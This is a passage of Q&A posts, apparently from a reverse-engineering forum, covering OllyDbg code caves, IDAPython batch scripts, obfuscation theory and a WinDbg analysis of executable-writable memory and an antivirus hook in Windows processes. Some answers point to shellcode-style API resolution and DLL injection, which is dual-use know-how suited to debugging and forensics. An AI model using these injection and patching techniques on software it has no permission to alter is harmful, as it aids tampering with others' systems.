        "Answer": "<p>These are 64-bit OLE date format, but they are not the dates you're thinking they are.  I took all of your samples and sorted them into the order you posted them (from top to bottom).  I then decoded the 8-byte strings starting from byte 11 of each sample as a double in IEEE format and then dumped the floating-point number in text form.  (I wrote a quick C++ program, but one could do that with many other methods.)  I then put those into a spreadsheet (I used Libre Office, but one could also use Excel) to interpret them as Microsoft's 64-bit OLE date formats which are number of seconds from 30 December 1899 0:00:00 and got the following (mm/dd/yyyy format):</p>\n\n<pre><code>01/05/2014 00:35:48 41644.02486\n01/05/2014 01:21:34 41644.05664\n01/05/2014 01:22:25 41644.05723\n01/05/2014 01:25:32 41644.0594\n01/05/2014 15:22:37 41644.64071\n01/05/2014 15:24:14 41644.64183\n01/05/2014 15:24:36 41644.64208\n</code></pre>\n\n<p>It looks like the last three samples were sequentially created within two minutes, which makes sense to me.  So they are indeed dates, but not the ones you think they are.  Look elsewhere for changes in the file for 8-byte sequences ending with 0x40.</p>\n"
    },
    {
        "Id": "3374",
        "CreationDate": "2014-01-07T00:49:33.363",
        "Body": "<p>I need some help regarding calls in assembly with Ollydbg.\nI'm messing around with a simple application.\nSo far, so good, I created a codecave for myself to add some code.</p>\n\n<p>But whenever I try to create a call to a function outside my debugged executable module to, for example, a <code>kernel32</code> or <code>msvcrt</code> function, it messes everything up.</p>\n\n<p>Let's look at some random call in the application:</p>\n\n<pre><code>0041D654     FF15 DC714200  CALL DWORD PTR DS:[&lt;&amp;KERNEL32.GetCommandLineA&gt;]\n</code></pre>\n\n<p>When I double click it, it shows me <code>CALL DWORD PTR DS:[4271DC]</code>\nSo, <code>4271DC</code> seems to point to <code>76FB496D</code>, which is, indeed:</p>\n\n<pre><code>76FB496D &gt;-FF25 60070177    JMP DWORD PTR DS:[&lt;&amp;api-ms-win-core-processenvironment-l1-2-0.Get&gt; ;KERNELBA.GetCommandLineA\n</code></pre>\n\n<p>Well, I just stole that from the application itself.\nNow I want to create a call to <code>kernel32</code> myself.\nI assemble a line and enter <code>CALL DWORD PTR DS:[Kernel32.GetCommandLineA]</code>\nNow it's saying:</p>\n\n<pre><code>0041D654     FF15 6D49FB76  CALL DWORD PTR DS:[KERNEL32.GetCommandLineA]\n</code></pre>\n\n<p>Looking good!</p>\n\n<p>Assemble the line <code>CALL DWORD PTR DS:[76FB496D]</code>. Giving this a run works fine ofcourse, but whenever I run it like this on another pc, all hell breaks loose.</p>\n\n<p>My question is: How can I make such an pointer <code>CALL DWORD PTR DS:[4271DC]</code>, so the code runs on all pc's?</p>\n\n<p>I can of course use <code>CALL DWORD PTR DS:[4271DC]</code> in the application to call the function <code>getcomandlineA</code> whenever I want, but I don't know the (dynamic?) pointer to, let's say, <code>kernel32.lstrcpy</code>.</p>\n",
        "Title": "Cannot call function (properly) in ollydbg",
        "Tags": "|ollydbg|",
        "Answer": "<p>Call to hard-coded addresses will not work for different reasons, the most obvious is ASLR, which randomizes the base address of every DLL, which means that the function address will be different at every boot.</p>\n\n<p>Solving this issue is far from simple as the use of <code>LoadLibrary</code> and <code>GetProcAddress</code>, classically used by developers to dynamically import DLL will also have a dynamic address, so you can't use them to determine the address of your sought function.</p>\n\n<p>To solve this issue you have to use shellcode techniques; in other words you will have to include assembly code that parse the <code>PEB</code> structure to determine the base address of Kernel32 address, search for your function in export table and finally use the it.</p>\n\n<p>Another more advanced techniques for more complex usage is the use of reflective DLL injection, but it is a bit far from what you are looking for.</p>\n"
    },
    {
        "Id": "3379",
        "CreationDate": "2014-01-07T03:46:19.910",
        "Body": "<p>I learned basis of assembly language with, both, AT&amp;T and Intel style. After that I gone through buffer overflow and how to use shellcode with it. Should I go for <a href=\"http://www.metasploit.com/\" rel=\"nofollow\">Metasploit</a> now?</p>\n",
        "Title": "Does learning Metasploit help me in reverse engineering and malware analysis?",
        "Tags": "|disassembly|malware|assembly|buffer-overflow|metasploit|",
        "Answer": "<p>You may find other people code useful and metasplot is good to test and understand how things can be exploited. </p>\n\n<p>For reversing there are alot of videos and sildes that other people have released explaining how they achieved there goals</p>\n"
    },
    {
        "Id": "3385",
        "CreationDate": "2014-01-07T10:38:21.537",
        "Body": "<p>I'm looking for information on the <a href=\"http://msdn.moonsols.com/winxpsp3_x86/DEVICE_OBJECT.html\" rel=\"nofollow\">_DEVICE_OBJECT</a>-><a href=\"http://msdn.moonsols.com/winxpsp3_x86/DEVOBJ_EXTENSION.html\" rel=\"nofollow\">_DEVOBJ_EXTENSION</a> structure.</p>\n\n<p>I'd like to know a bit more about this structure in genernal, like what it's actually used for. But specifically, I'd like to know about the <code>_DEVICE_OBJECT* AttachedTo</code> member and the difference between that and the <code>_DEVICE_OBJECT* AttachedDevice</code> member in the <code>_DEVICE_OBJECT</code> structure.</p>\n\n<p>Google is proving fruitless, and I can't find any reference to it in the Windows Internals book. Any resources or information would be greatly appreciated.</p>\n\n<p>EDIT:<br>\nOk... After a bit of staring at WinDbg I found that the <code>AttachedTo</code> field seems to point to the device object at the top of the device tree. Can anyone confirm this?</p>\n",
        "Title": "_DEVOBJ_EXTENSION structure information",
        "Tags": "|windows|kernel-mode|",
        "Answer": "<p>The structure is fully documented by Microsoft on their MSDN site. I also created a blog post a while ago, regarding this data structure which can be found here - <a href=\"http://bsodtutorials.blogspot.co.uk/2013/11/devobj-and-deviceobject.html\" rel=\"nofollow\">http://bsodtutorials.blogspot.co.uk/2013/11/devobj-and-deviceobject.html</a></p>\n"
    },
    {
        "Id": "3387",
        "CreationDate": "2014-01-07T13:58:09.897",
        "Body": "<p>I'ld like to see which functions are operating with certain object's fields that I already processed, meaning I created the structure and assigned it to the correct places in the functions in IDA, without having to run a dynamic debugger. (for example, I would like to see a list of the functions accessing/writing/reading the <em>Foo</em> data field of the <em>Bar</em> object), but as far as I know it's not implemented in IDA. </p>\n",
        "Title": "Cross-referencing object fields",
        "Tags": "|ida|ida-plugin|idapython|struct|",
        "Answer": "<p>Unfortunately this IDA feature doesn't always work as needed especially if you define your objects in Hex-Rays.</p>\n\n<p>If your problem is around using Hex-Rays, you can use the <a href=\"https://github.com/EiNSTeiN-/hexrays-python-plugins/blob/master/xrefs/xrefs.py\" rel=\"nofollow\">XRefs</a> plugin with the <a href=\"https://github.com/EiNSTeiN-/hexrays-python\" rel=\"nofollow\">hexrays-python</a> API in IDA 6.4.</p>\n\n<p>As far as I understand latest version of IDAPython with support of IDA 6.5 at\ngoogle code already contains these bindings in IDA API module, but it is not fully operational yet (at least I'm not succeeded to make it work). </p>\n"
    },
    {
        "Id": "3388",
        "CreationDate": "2014-01-07T13:58:48.743",
        "Body": "<p>I am loading various files that read into IDA as binary. Once I have the GUI in front of me I am able to go through the segments and hit \"c\" in order to convert to instruction/code.</p>\n\n<p>However, I am primarily trying to do all my ida work via linux terminal (using the command line <code>./idal -B input-file</code>). \nIs there a command line flag, or another method, to automate the generating of instructions from the binary files? Or is this something I will have to manually do every time?</p>\n",
        "Title": "IDA Pro converting to instruction functionality: how to automate.",
        "Tags": "|ida|linux|ida-plugin|idapython|",
        "Answer": "<p>I would do something like this in IDAPython:</p>\n\n<pre><code># I didn't check this code, please use carefully !This code will pass through all defined segments and will try to make code on any unexplored area\n# IDAPython documentation is at https://www.hex-rays.com/products/ida/support/idapython_docs/\n\nimport idautils\nimport idc\n\nfor ea in idautils.Segments():\n    segend = idc.GetSegmentAttr(ea, idc.SEGATTR_END)\n    start = ea\n    while start &lt; segend:\n        idc.MakeCode(start)\n        start = idc.FindUnexplored(start+1, idc.SEARCH_DOWN)\n</code></pre>\n\n<p>You can run it with <a href=\"https://www.hex-rays.com/products/ida/support/idadoc/417.shtml\" rel=\"nofollow\">-S</a> command line switch as stated in previous answer</p>\n"
    },
    {
        "Id": "3395",
        "CreationDate": "2014-01-07T17:09:11.397",
        "Body": "<p>I am using IDA Pro 6.5 and running it via terminal with the following command line switches:</p>\n\n<ol>\n<li>-B (to run in batch mode, should automatically generate a .asm file containing results)</li>\n<li>-S running a script in which the only functionality is to convert all of the binary into instruction.</li>\n</ol>\n\n<p>When I ran in batch mode prior to the script, it would generate a .asm file that I would then be able to manipulate. However, now this file doesn\u2019t appear. Is there a quick fix or any IDA Python methods I can include in order to create an output file?</p>\n",
        "Title": "IDA Pro/IDA Python, producing file via terminal",
        "Tags": "|ida|ida-plugin|idapython|idapro-sdk|",
        "Answer": "<p>Here it is. \nRun it with idal -c -A -S./script.py ./test.bin</p>\n\n<pre><code># I didn't check this code, please use carefully !\n# IDAPython documentation is at https://www.hex-rays.com/products/ida/support/idapython_docs/\n\nimport idautils\nimport idc\n\nfor ea in idautils.Segments():\n    segend = idc.GetSegmentAttr(ea, idc.SEGATTR_END)\n    start = ea\n    while start &lt; segend:\n        idc.MakeCode(start)\n        start = idc.FindUnexplored(start+1, idc.SEARCH_DOWN)\n\nidc.GenerateFile(idc.OFILE_ASM, idc.GetInputFile()+\".asm\", 0, idc.BADADDR, 0)\n\nidc.Exit(0)\n</code></pre>\n"
    },
    {
        "Id": "3399",
        "CreationDate": "2014-01-07T18:39:53.240",
        "Body": "<p>While analyzing a binary online through the virustotal service , I found out that different AVs named the binaries differently.For instance, for that same binary Norman named it  Obfuscated_A, Symantec named it WS.Reputation.1 and another AV named it Malware-Cryptor.General.2 .Is there any specific naming convention adopted by the AVs?</p>\n",
        "Title": "How antiviruses name malwares",
        "Tags": "|malware|",
        "Answer": "<p>Generally Antivirus companies follow the naming convention proposed by CARO (Computer Antivirus Research Organization).</p>\n\n<p>A malware usually gets a name based on the strings found in it. In some cases based on Mutex/ file name/server name/registry keys and very rarely based on its action.</p>\n\n<p>In some AV companies they give certain names to track the detections made by generic/ heuristic detection methods (eg:Obfuscated_A, WS.Reputation.1)</p>\n"
    },
    {
        "Id": "3405",
        "CreationDate": "2014-01-08T08:24:33.500",
        "Body": "<p>I'm debugging an application in OllyDbg, I pause the program at a specific place. Now I am deep inside ntdll and other gui related module calls, judging from the stack. <strong>I'ld like to break as soon as the application returns to any function within a specified (the main) module.</strong> Is there such breakpoint condition? How can I do this? </p>\n",
        "Title": "Break on returning to a specific module",
        "Tags": "|ollydbg|debugging|memory|callstack|",
        "Answer": "<p>In normal condition <code>alt+f9 execute till user code</code> should get you back to user code</p>\n"
    },
    {
        "Id": "3412",
        "CreationDate": "2014-01-08T19:35:49.777",
        "Body": "<p>I want to convert this to C:</p>\n\n<pre>SHR CL,1</pre>\n\n<p>rECX is the name of the (32bit unsigned int)register variable. It should be simple, but I can't figure out the proper pointer magic :/</p>\n",
        "Title": "How to convert this one-liner asm to C",
        "Tags": "|assembly|decompilation|c|",
        "Answer": "<p><code>rECX = (rECX &amp; 0xFFFFFF00) | ((rECX &amp; 0xFF) &gt;&gt; 1)</code></p>\n"
    },
    {
        "Id": "3414",
        "CreationDate": "2014-01-09T05:44:16.573",
        "Body": "<p>I know that reverse engineering from binary to source code (e.g. C++) is generally considered hard or impossible but has any computer scientist actually proven \"mathematically\" that it's impossible or possible to reverse engineer (any) binary to source code? Is reverse engineering simply a very hard puzzle or are there binary out there that is simply impossible to reverse whether by hand or via decompiler?</p>\n\n<p>NOTE: I know the answer might be \"it depends on platform and programming language\" so I am going to assume the language used is C++ since it's generally considered impossible to reverse it.</p>\n",
        "Title": "Is it \"theoretically\" possible/impossible to reverse any binary?",
        "Tags": "|disassembly|decompilation|c++|",
        "Answer": "<p>I try to give my idea about reversing, not an answer, because I myself hope that I can find it, moreover I am quite sure that any expert here may say that what I think is crappy but I beg a generosity from the community.</p>\n\n<p>The \"reverse engineering\" a program is rather to <em>verify whether the program has some properties or not</em>, than to <em>reverse from binary code to source code</em> (we can imagine that there are some properties that we can observe easily in the source code but not in the binary code), then the \"obfuscation\" is to prevent the program from such an algorithmic verification. </p>\n\n<p>In the perfect (i.e. theoretical) world, some very general results assert several things. First, the <a href=\"http://fr.wikipedia.org/wiki/Th%C3%A9or%C3%A8me_de_Rice\" rel=\"nofollow\">Rice's theorem</a> (as previously mentioned by @perror) and a more constructive result of <a href=\"http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.35.9722\" rel=\"nofollow\">Landi. W</a> assert that a general verificator does not exist, that means we cannot write a verificator V so that when we gives V an arbitrary program P and a non-trivial property p (a trivial property is one that exists in all programs, e.g. the magic byte MZ exists in all PE files is a trivial property), V can answer P has p or not. So that means the perfect obfuscation exists ?, the answer is trivially No, that is because we never require a such strong verificator (that gives deterministic answer for all programs), we need only a verificator for some useful classes of programs. </p>\n\n<p>Second, <a href=\"http://www.wisdom.weizmann.ac.il/~oded/PS/obf4.pdf\" rel=\"nofollow\">Barak et al</a> (as previously mentioned also by @perror) asserts a somehow contradict result: there are some classes of programs that cannot be obfuscated, namely no matter what they are obfuscated, that is easy to write a verificator to answer these programs have a given property p (or not). There is actually no contradiction here because the Rice's theorem applies in the context of \"all programs\" and the result of Barak et al applies for the context of \"several programs\", indeed we have:</p>\n\n<p>Third, the result of <a href=\"http://www.cs.columbia.edu/~hoeteck/pubs/obf-point-stoc05.pdf\" rel=\"nofollow\">Wee. H</a> says that we can always hide (i.e. obfuscate) some properties given a class of special programs named <em>point functions</em>. Again, that does not mean the obfuscation is possible in general because this result applies in the context of \"several programs\".</p>\n\n<p>Fourth, the result of <a href=\"http://eprint.iacr.org/2013/451.pdf\" rel=\"nofollow\">Garg. S et al</a> says that we can obfuscate any program so that any property computed from the obfuscated one is \"trivial\". So that means the perfect obfuscator exists?, and if it exists then it contradict to the result of <a href=\"http://www.wisdom.weizmann.ac.il/~oded/PS/obf4.pdf\" rel=\"nofollow\">Barak et al</a>?, obviously No, because the two results have used actually two different definitions of triviality, in the first one a property is trivial if it exists in all programs having the same semantics (so this definition is weaker than in the second one).</p>\n\n<p>In the real (i.e. practial) world, I have so little experience that I cannot give any useful idea. But I doubt that the game obfuscator vs de-obfuscator will evolve in some very clever ways and we still have many gaps to work in (as an obfuscator or as a de-obfuscator).</p>\n"
    },
    {
        "Id": "3421",
        "CreationDate": "2014-01-09T10:02:26.683",
        "Body": "<p>Is there publicly available solution for translation of ARM assembly to LLVM IR?</p>\n",
        "Title": "Translation from ARM assembly to LLVM IR",
        "Tags": "|disassembly|",
        "Answer": "<p>From <a href=\"http://lists.cs.uiuc.edu/pipermail/llvmdev/2008-March/012953.html\" rel=\"nofollow\">http://lists.cs.uiuc.edu/pipermail/llvmdev/2008-March/012953.html</a>:</p>\n\n<blockquote>\n  <p>During Google Summer of Code 2007 I was working on llvm-qemu, which\n  translates from <strong>ARM machine code to LLVM IR</strong> (at basic block level) and\n  via the LLVM JIT to x86 machine code. All source architectures\n  supported by qemu (x86, x86-64, ARM, SPARC, PowerPC, MIPS, m68k) can\n  be translated to LLVM IR this way (e.g. adding support for x86 to\n  llvm-qemu should be almost trivial).</p>\n  \n  <p>You can find llvm-qemu at <a href=\"http://code.google.com/p/llvm-qemu/\" rel=\"nofollow\">http://code.google.com/p/llvm-qemu/</a></p>\n</blockquote>\n"
    },
    {
        "Id": "3430",
        "CreationDate": "2014-01-09T23:20:54.887",
        "Body": "<p>I am fairly familiar with WinDbg and didn't know about OllyDbg before. From the statistics in this forum, it seems that OllyDbg is twice as popular as WinDbg. Sometimes WinDbg can be frustrating, so I wonder whether I should switch.</p>\n\n<p>To make this question less opinion based, these are my requirements:</p>\n\n<ul>\n<li>be able to debug .NET. From my research it seems that OllyDbg might not be as good as WinDbg with SOS and SOSEX</li>\n<li>do scripting. Here it seems OllyDbg is better. There are many scripts archived in a single place, which is not the case for WinDbg.</li>\n<li>analyze mini dump files. This could be a blocker: while the OllyDbg website states something about post mortem dump, I was unable to find an option to open a dump immediately (File/Open).</li>\n<li>record logs of what I'm doing to be able to give it to the customer. From the Google picture search I only see screenshots from registers, memory etc. I have not seen something similar to the WinDbg command output window.</li>\n</ul>\n\n<p><strong>Given these core requirements, should I give OllyDbg a try?</strong></p>\n\n<p>Version information: OllyDbg 2.01</p>\n",
        "Title": "Should I switch from WinDbg to OllyDbg?",
        "Tags": "|tools|ollydbg|windbg|",
        "Answer": "<p>OllyDbg is nice, and it has some cool features but it still doesn't support x64 native debugging on Window (it is in Alpha though!)</p>\n\n<p>If you want to debug x64, then WinDbg seems to be the way to go.</p>\n"
    },
    {
        "Id": "3435",
        "CreationDate": "2014-01-11T01:33:36.070",
        "Body": "<p>Test platform is windows 32 bit.  IDA pro 64</p>\n\n<p>So, basically I use IDA pro to disassemble a PE file, and do some transformation work on the asm code I get, to make it <strong>re-assemblable</strong>.</p>\n\n<p>In the transformed code I generated, the system function call like <code>printf</code> will be written just as the usual way.</p>\n\n<pre><code>extern printf\n....\n....\ncall printf\n</code></pre>\n\n<p>I use this to reassemble the code I create:</p>\n\n<pre><code>nasm -fwin32 --prefix _ test.s\ncl test.obj /link msvcrt.lib\n</code></pre>\n\n<p>I got a PE executable file, and basically it works fine (Like a hello world program, a quick sort program and others).</p>\n\n<p>But then, as I use <strong>IDA pro to re-disassemble the new PE executable file I create</strong>, strange things happened.</p>\n\n<p>IDA pro generates function call like this:</p>\n\n<p><img src=\"https://i.stack.imgur.com/2ttKz.png\" alt=\"IDA pro\"></p>\n\n<p>and when I use:</p>\n\n<pre><code>idaq.exe -B test.exe \n</code></pre>\n\n<p>to generate new assembly code, in the printf function call part, it generate this:</p>\n\n<pre><code>call j_printf\n</code></pre>\n\n<p>Without the <code>j_printf proc near</code> function define...</p>\n\n<p>So basically I am wondering if anyone know how do deal with this, to let IDA pro generate </p>\n\n<pre><code>call printf\n</code></pre>\n\n<p>or </p>\n\n<pre><code>call _printf\n</code></pre>\n\n<p>again or any other solution?</p>\n",
        "Title": "Why IDA Pro generated a \"j_printf\" function call?",
        "Tags": "|ida|disassembly|windows|reassembly|",
        "Answer": "<p>It's cl.exe that's inserting the jump thunk. It has some advantages, such as making it easier to redirect a function during runtime after load and makes it so that the loader only has to do a single relocation for that function. The other option would be to use an indirect call through an address. Neither is really optimal for performance due to the distance between the call and the jump or the address, which can hurt caching. You can <a href=\"http://msdn.microsoft.com/en-us/library/4khtbfyf%28VS.80%29.aspx\">disable the jump thunk by disabling incremental linking</a>.</p>\n\n<p>That said, what you're doing is probably a bad idea. IDA is not really made to produce code that can be reassembled. What's normally done is that you extend the last section or add a new section with the patched code then redirect the original code to the patch through a call or a jump.</p>\n"
    },
    {
        "Id": "3440",
        "CreationDate": "2014-01-11T16:48:14.380",
        "Body": "<p>On a clean Windows XP SP2 installation running inside a VirtualBox VM, when doing a snapshot with <code>vboxmangage debugvm --dumpguestcore</code> and analyzing it in Volatility, I always find 9 VADs with <code>PAGE_EXECUTE_READWRITE</code> permissions in <code>winlogon.exe</code> process and 1 VAD with the same permission in <code>csrss.exe</code> process. Sometimes there is one in <code>explorer.exe</code> process as well.</p>\n\n<p>This is the same for two different Machines one with VirtualBox tools installed and one without.</p>\n\n<p>Where do these come from? What are the write permission useful for?\nAny help is mostly appreciated, thank you!</p>\n",
        "Title": "VADs with RWX permission in winlogon and csrss processes",
        "Tags": "|windows|digital-forensics|",
        "Answer": "<p><strong>All the statements below are xp-sp3 based</strong> </p>\n\n<p>windbg can also be used to parse for RWX pages in VadTree<br>\nCopy paste following lines to <code>**.txt and run the script $$&gt;a&lt; path to **.txt</code>    </p>\n\n<p>script contents needs grep in path for text parsing </p>\n\n<pre><code>aS  proc        @#Process ;\naS  procname    @@c++( (char *)(((nt!_EPROCESS *) @#Process ))-&gt;ImageFileName )  ;\naS  procvad     @@c++( (((nt!_EPROCESS *) @#Process ))-&gt;VadRoot )  ;\n.block { !for_each_process \".printf \\\"%20ma\\t%p\\t%p\\n\\n\\\",${procname}, ${proc} , ${procvad}; .echo \\n;.shell  -ci  \\\"!vad ${procvad}\\\"  grep  \\\"EXECUTE_READWRITE\\\"\" } ;\nad *\n</code></pre>\n\n<p>and then set the process context to approriate process and examine the memory from StartVpn to EndVpn</p>\n\n<p>iirc Winlogon and csrss always had a few RWX pages<br>\nthe csrss RWX page always seemed to contain lots of initialization  _UNICODE_STRING<br>\nmost of the pages wont be available for viewing you may need to live debug in Phase1Init Stage </p>\n\n<pre><code>sxe ibp;.reboot  \n</code></pre>\n\n<p>on reboot set <code>bp NtCreateProcessEx</code> until csrss is about to be created<br>\n<code>bc * ; gu ;!vad on csrss _EPROCESS</code> \ncsrss process at this point wont have the RWX page<br>\nonly 4 vads will exist in csrss VadTree<br>\nyou may need to follow from here and catch the allocation / writes and executions</p>\n\n<pre><code>           csrss.exe    86acebe0    86d62660  \n86d39250 ( 4) 7f6f0 7f7ef 0 Mapped       EXECUTE_READWRITE  Pagefile-backed section\n</code></pre>\n\n<p>this oneliner will fetch you most of the strings in that page</p>\n\n<pre><code>.foreach (place { s -[1]b 7f6f0000 l?7000 0x7f } ) { r $t0 = place ; dS @$t0-7}\n</code></pre>\n\n<p>output of the above line</p>\n\n<pre><code>7f6f2170  \"C:\\WINDOWS\"\n7f6f2190  \"C:\\WINDOWS\\system32\"\n7f6f21c0  \"\\BaseNamedObjects\"\n7f6f2208  \".\u7f6f...\u7f6f\"\n7f6f22b0  \".\u7f6f...\u7f6f\"\n7f6f221c  \"Autorun.inf\"\n7f6f2300  \".\u7f6f02.\u7f6fSoftware\\Microsoft\\Clock\"\n7f6f226c  \"DoesNotExist\"\n7f6f2260  \".\u7f6f\"\n7f6f2368  \"\u30d8\u7f6f...\u7f6f.\u7f6f\"\n7f6f22c4  \"Clock.ini\"\n7f6f23d8  \".\u7f6f68.\u7f6fControl Panel\\Color Scheme\"\n7f6f2418  \"s\"\n7f6f230c  \"Software\\Microsoft\\Clock\"\n</code></pre>\n\n<p>the winlogon RWX pages will contain Executble code most of them will start with \n<code>push cx push ax</code> sequence and end with an indirect call to somehwre via <code>jmp eax</code> \nand some intermediate calls to unviewable / non existing locations \nmay need live analysis </p>\n\n<p>never observed rwx pages in clean explorer / iexplore / services.exe processos\nthey exist only if some antivirus etc are installed</p>\n\n<p>see below for an <code>Avasted RWX</code> page in explorer.exe patching <code>RtlSetCurrentDirectory_U</code> and loading <code>snxhk.dll using LdrLoadDll()</code> this same patch can also be observed in iexplore.exe</p>\n\n<pre><code>.shell dir /b scan*vad*\nscanvad4rwx.txt    \nlkd&gt; $$&gt;a&lt; scanvad4rwx.txt\n              System    86fc6830    86fbfa90     \n            smss.exe    86b0e020    86dfd008      \n           csrss.exe    86acebe0    86f4e4d0  \n86d39250 ( 4) 7f6f0 7f7ef 0 Mapped EXECUTE_READWRITE  Pagefile-backed section    \n        winlogon.exe    86d7b918    86d58930  \n86ae8ee0 ( 8)       9550     9553         4 Private      EXECUTE_READWRITE \n86340690 ( 7)      29c90    29c93         4 Private      EXECUTE_READWRITE \n86f370d0 ( 6)      2a4f0    2a4f3         4 Private      EXECUTE_READWRITE \n86b13a38 ( 5)      46580    46583         4 Private      EXECUTE_READWRITE \n86da2a00 ( 6)      497c0    497c3         4 Private      EXECUTE_READWRITE \n        services.exe    86b0a020    86ec15c8  \n86da7c20 (12)        380      380         1 Private      EXECUTE_READWRITE \n               lsass.exe    86b2a6b8    86b21110  \n    XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\n        explorer.exe    86241260    86b86768  \n86b13d28 (13)         90       90         1 Private      EXECUTE_READWRITE \n86545e50 (11)        2b0      2b0         1 Private      EXECUTE_READWRITE \n86aa6878 (12)        2c0      2ca        11 Private      EXECUTE_READWRITE \n86b056a0 (10)        2d0      2da        11 Private      EXECUTE_READWRITE \n86b3b9c8 (12)        2e0      2ea        11 Private      EXECUTE_READWRITE \n             AvastUI.exe    86315a00    860fc008  \n    XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\n        iexplore.exe    86aaf020    861b3f00  \n862ae9f8 (16)        150      150         1 Private      EXECUTE_READWRITE \n</code></pre>\n\n<p>on rereading i noticed the below output is from a differnt session\nso splitting </p>\n\n<pre><code>and examine the memory  using  lkd&gt; .process /p /r 862543e8 &amp;   lkd&gt; uf 150000\n00150000 50              push    eax\n00150001 60              pushad\n00150002 bd42001500      mov     ebp,150042h\n00150007 8b7d10          mov     edi,dword ptr [ebp+10h]\n0015000a 8b4518          mov     eax,dword ptr [ebp+18h]\n0015000d 8b5d1c          mov     ebx,dword ptr [ebp+1Ch]\n00150010 8907            mov     dword ptr [edi],eax\n00150012 895f04          mov     dword ptr [edi+4],ebx\n00150015 897c2420        mov     dword ptr [esp+20h],edi\n00150019 8d454c          lea     eax,[ebp+4Ch]\n0015001c 50              push    eax\n0015001d ff7548          push    dword ptr [ebp+48h]\n00150020 8d4550          lea     eax,[ebp+50h]\n00150023 50              push    eax\n00150024 8d4540          lea     eax,[ebp+40h]\n00150027 50              push    eax\n00150028 6aff            push    0FFFFFFFFh\n0015002a ff5508          call    dword ptr [ebp+8]\n0015002d 85c0            test    eax,eax\n0015002f 750f            jne     00150040    \n00150031 33c9            xor     ecx,ecx\n00150033 8d4538          lea     eax,[ebp+38h]\n00150036 50              push    eax\n00150037 8d4528          lea     eax,[ebp+28h]\n0015003a 50              push    eax\n0015003b 51              push    ecx\n0015003c 51              push    ecx\n0015003d ff5500          call    dword ptr [ebp]    \n00150040 61              popad\n00150041 c3              ret\n</code></pre>\n\n<p>put the commands in one line </p>\n\n<pre><code>? @$t1+10 ; ? poi(@$t1+10) ; ln poi(@$t1+10); db (@$t1+18) l8; u (@$t1+18)  l3;\n? poi(@$t1+4c) ; ? poi(@$t1+48) ; ? poi(@$t1+50) ;? poi(@$t1+40) ;  lm m ntdll* ;\nln poi(@$t1+8) ; ? poi(@$t1+38); db  (@$t1+28) l8; du /c 40 poi(@$t1+2c) ;\n? poi(@$t1); ln poi(@$t1);.echo patches RtlSetCurwith pattern and sets return \naddress    [esp+20]to patched instruction calls ntvirtproct for a pagein ntdll \non successloads a dll using LdrLoadDll;   \n\nEvaluate expression: 1376338 = 00150052\nEvaluate expression: 2089936810 = 7c91e7aa\n(7c91e7aa)       Exact matches: ntdll!RtlSetCurrentDirectory_U\n0015005a  6a 6c 68 78 e9 91 7c e8                          jlhx..|.\n0015005a 6a6c            push    6Ch\n0015005c 6878e9917c      push    offset ntdll!`string'+0x34 (7c91e978)\n00150061 e81501ffff      call    0014017b\nEvaluate expression: 64 = 00000040\nEvaluate expression: 32 = 00000020\nEvaluate expression: 4096 = 00001000\nEvaluate expression: 2089934848 = 7c91e000\nstart    end        module name\n7c900000 7c9b2000   ntdll      (pdb symbols)          f:\\symbols\\ntdll.pdb\n(7c90d6ee)   Exact matches: ntdll!NtProtectVirtualMemory\nEvaluate expression: 1691353088 = 64d00000\n0015006a  60 00 60 00 9a 00 15 00                          `.`.....\n0015009a  \"C:\\Program Files\\Alwil Software\\Avast5\\snxhk.dll\"\nEvaluate expression: 2089903043 = 7c9163c3\n(7c9163c3)      Exact matches:    ntdll!LdrLoadDll = &lt;no type information&gt;\npatches RtlSetCurwith pattern and sets return address    \n[esp+20] to patched instruction calls ntvirtproct for     \na page in ntdll on success loads a dll using LdrLoadDll\n</code></pre>\n\n<p><strong>UPDATE</strong></p>\n\n<p>the rwx page in csrss.exe is being created during CSRSRV initialization seems to be heap</p>\n\n<p>i set a conditional break after csrss.exe is created on NtAllocateVirtualMemory to print the VadTree on every allocation<br>\nand i see that the rwx page is inserted while CSRSRV init and a CreateSharedSection is observed in call stack    </p>\n\n<pre><code>sxe ibp;.reboot\n</code></pre>\n\n<p>on reboot <code>bp NtCreateprocessEx and hit g;kb</code> till csrss.exe is about to be created<br>\nyou can glean the process being created by looking at the unicode_string passed to RtlCreateUserProcess api in the callstack printed<br>\ndS   should print ........................../csrss.exe<br>\nenter <code>gu</code> go up to allow the process to be created<br>\n<code>!process 0 1 csrss.exe</code>  save eprocess to scratch pad<br>\n!vad VadRoot<br>\nyou should observe 4 vads in csrss vad tree    </p>\n\n<p>now set this conditional breakpoint  (<code>substitute the saved eprocess inplace of 0x81160020</code> note <code>use 0x notation</code> )<br>\nbp </p>\n\n<pre><code>bp nt!NtAllocateVirtualMemory \"!vad @@c++(((nt!_EPROCESS *) 0x81160020)-&gt;VadRoot);kb;.echo \\n;dd poi(@esp+8);\"\n</code></pre>\n\n<p>if you persist with an access breakpoint you can catch when the rwx page is being added to the ProcessHeapList</p>\n\n<p>see below</p>\n\n<p>ntdll!RtlCreateHeap+0x5b9:\n001b:7c9253de e8a6000000      call    <code>ntdll!RtlpAddHeapToProcessList</code> (7c925489)</p>\n\n<p>kd> <code>!heap</code>\nHEAPEXT: Unable to get address of *ntdll!RtlpGlobalTagHeap.\nIndex   Address  Name      Debugging options enabled<br>\n  1:   00160000<br>\n  2:   00260000<br>\nkd> </p>\n\n<pre><code>p  step over the call\n</code></pre>\n\n<p>ntdll!RtlCreateHeap+0x5be:\n001b:7c9253e3 8b45e4          mov     eax,dword ptr [ebp-1Ch]</p>\n\n<pre><code>kd&gt; !heap\n</code></pre>\n\n<p>Index   Address  Name      Debugging options enabled<br>\n  1:   00160000<br>\n  2:   00260000<br>\n  3:   <code>7f6f0000</code>                </p>\n\n<pre><code>kd&gt; `!process 0 1 csrss.exe`\nPROCESS `81160020`  SessionId: 0  Cid: 01c4    Peb: 7ffde000  ParentCid: 014c\n    DirBase: 06e30000  ObjectTable: e14a7f38  HandleCount:  10.\n    Image: csrss.exe\n    VadRoot `812275c0 Vads 13` \n</code></pre>\n\n<p>dump vadtree</p>\n\n<pre><code>kd&gt; `!vad 812275c0`\nVAD     level      start      end    commit\n812201d8 ( 1)          0       ff         0 Private      READWRITE         \n812280e8 ( 2)        100      100         1 Private      READWRITE         \n81229dd0 ( 3)        110      110         1 Private      READWRITE         \n81222a88 ( 4)        120      15f         4 Private      READWRITE         \n811f30b8 ( 5)        160      25f         3 Private      READWRITE         